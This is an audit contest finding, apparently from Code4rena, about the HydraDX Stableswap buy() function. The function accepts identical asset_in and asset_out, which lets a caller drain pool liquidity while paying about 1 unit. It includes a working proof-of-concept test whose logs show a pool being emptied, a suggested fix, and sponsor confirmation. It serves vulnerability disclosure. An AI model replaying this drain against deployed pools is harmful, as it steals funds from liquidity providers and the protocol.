An attacker possesses the capability to exhaust the entirety of liquidity within the stable swap pools by manipulating the buy function, specifically by setting the asset_in parameter equal to the asset_out parameter

[c4-bot-8]

Lines of code

https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/pallets/stableswap/src/lib.rs#L787-L842
https://github.com/code-423n4/2024-02-hydradx/blob/603187123a20e0cb8a7ea85c6a6d718429caad8d/HydraDX-node/math/src/stableswap/math.rs#L40-L41

Vulnerability details

Impact

This vulnerability has been identified in the Stableswap pallet that could potentially drain all liquidity from all pools without any permissions. This vulnerability can be exploited by malicious actors, resulting in significant financial losses for both the protocol and liquidity providers .

severity : critical

Proof of Concept

The vulnerability lies in the buy() function, which can be exploited by setting asset_in to an asset already present in the pool and subsequently setting asset_out to the same asset. The function does not validate or prevent this input, allowing an attacker to receive the entire amount_out without providing any corresponding amount_in .

Attack Flow :

1. the attacker call the function buy and specify the asset_in equal to asset_out , the function has no check that prevent this input to be passed .

2. the function will calculate the amount_in that should be taken out from the user , so the function will use calculate_in_amount function as shown here , this function will call calculate_in_given_out_with_fee() function .

                        let (amount_in, fee_amount) = Self::calculate_in_amount(pool_id, asset_in, asset_out, amount_out)?;

3. the function calculate_in_given_out_with_fee here , will call the function calculate_in_given_out to calculate amount_in , and the final amount_in will be the amount calculated plus the fees , and the fees are calculated as the ratio of the amount_in .

4. in the function calculate_in_given_out since the asset_in equal to asset_out then the new_reserve_in will be equal to the old reserve reserves[idx_in] so the amount_in ,which is the difference between the new and the old reserves ,will be equal to zero . as shown here , and then the function will add 1 to the amount_in .

        let new_reserve_in = calculate_y_given_out::<D, Y>(amount_out, idx_in, idx_out, &reserves, amplification)?;
        let amount_in = new_reserve_in.checked_sub(reserves[idx_in])?;
        let amount_in = normalize_value(
                amount_in,
                TARGET_PRECISION,
                initial_reserves[idx_in].decimals,
                Rounding::Up,
        );
        Some(amount_in.saturating_add(1u128))

this will result in amount_in = 1 and with the fee , it will be equal to amount_in = 1.001

If the attacker set amount_out = 100_000_000_000_000 he will take them and only pay amount_in = 1.001 .

Coded POC to demonstrate the vulnerability

consider add this test into the test file trade.rs here , and see the logs resulted from this test .

#[test]
fn test_set_asset_in_equal_asset_out_will_be_profitable() {
	let asset_a: AssetId = 1;
	let asset_b: AssetId = 2;
	let dec_a: u8 = 18;
	let dec_b: u8 = 6;
	ExtBuilder::default()
		.with_endowed_accounts(vec![
			(BOB, asset_a, to_precision!(200, dec_a)),
			(ALICE, asset_a, to_precision!(200, dec_a)),
			(ALICE, asset_b, to_precision!(200, dec_b)),
		])
		.with_registered_asset("one".as_bytes().to_vec(), 1, dec_a)
		.with_registered_asset("two".as_bytes().to_vec(), 2, dec_b)
		.with_pool(
			ALICE,
			PoolInfo::<AssetId, u64> {
				assets: vec![asset_a, asset_b].try_into().unwrap(),
				initial_amplification: NonZeroU16::new(100).unwrap(),
				final_amplification: NonZeroU16::new(100).unwrap(),
				initial_block: 0,
				final_block: 0,
				fee: Permill::from_float(0.01),
			},
			InitialLiquidity {
				account: ALICE,
				assets: vec![
					AssetAmount::new(asset_a, to_precision!(100, dec_a)),
					AssetAmount::new(asset_b, to_precision!(100, dec_b)),
				],
			},
		)
		.build()
		.execute_with(|| {
			let pool_id = get_pool_id_at(0);
			let pool_account = pool_account(pool_id);
			let asset_a_state_before = Tokens::free_balance(asset_a, &pool_account);

			let balance_before = Tokens::free_balance(asset_a, &BOB);
			for _ in 0..5 {
				assert_ok!(Stableswap::buy(
					RuntimeOrigin::signed(BOB),
					pool_id,
					asset_a,
					asset_a,
					to_precision!(20, dec_a),
					to_precision!(31, dec_a),
				));
			}
			let asset_a_state_after = Tokens::free_balance(asset_a, &pool_account);

			// the user here received the fees
			// 229_999_999_999_999_999_994
			let balance_after = Tokens::free_balance(asset_a, &BOB);
			println!(
				"pool balance of asset a before the attack = {:?} ",
				asset_a_state_before
			);
			println!("pool balance of asset a after the attack  = {:?} ", asset_a_state_after);

			println!("balance of bob before the attack = {:?}", balance_before);
			println!(" balance of asset a owned by bob after the attack =  {:?}", balance_after);
			println!(" the amount of profit for BOB : {:?}", balance_after - balance_before);
		});
}

the logs will be

running 1 test
pool balance of asset a before the attack = 100000000000000000000 
pool balance of asset a after the attack  = 28 
balance of bob before the attack = 200000000000000000000
 balance of asset a owned by bob after the attack =  299999999999999999972
 the amount of profit for BOB : 99999999999999999972

as shown here , Bob can drain almost all the liquidity of asset_a in the pool , and he can repeat this attack to drain all the assets exists in all the pools .

Recommended Mitigation Steps

To mitigate this vulnerability, it is crucial to prevent the setting of asset_in equal to asset_out. This can be achieved by adding the following line to the buy() function:

                pub fn buy(
                        origin: OriginFor<T>,
                        pool_id: T::AssetId,
                        asset_out: T::AssetId,
                        asset_in: T::AssetId,
                        amount_out: Balance,
                        max_sell_amount: Balance,
                ) -> DispatchResult {
                        let who = ensure_signed(origin)?;


+                        ensure!(
+                 asset_out != asset_in , Error::<T>::Invalid
+                );

Integrating this check into the buy() function will effectively prevent attackers from draining liquidity from the pool.

Assessed type

Invalid Validation

[c4-pre-sort]

0xRobocop marked the issue as primary issue

[c4-pre-sort]

0xRobocop marked the issue as sufficient quality report

[c4-pre-sort]

0xRobocop marked the issue as high quality report

[c4-sponsor]

enthusiastmartin (sponsor) confirmed

[enthusiastmartin]

nice one!

[c4-judge]

OpenCoreCH marked the issue as selected for report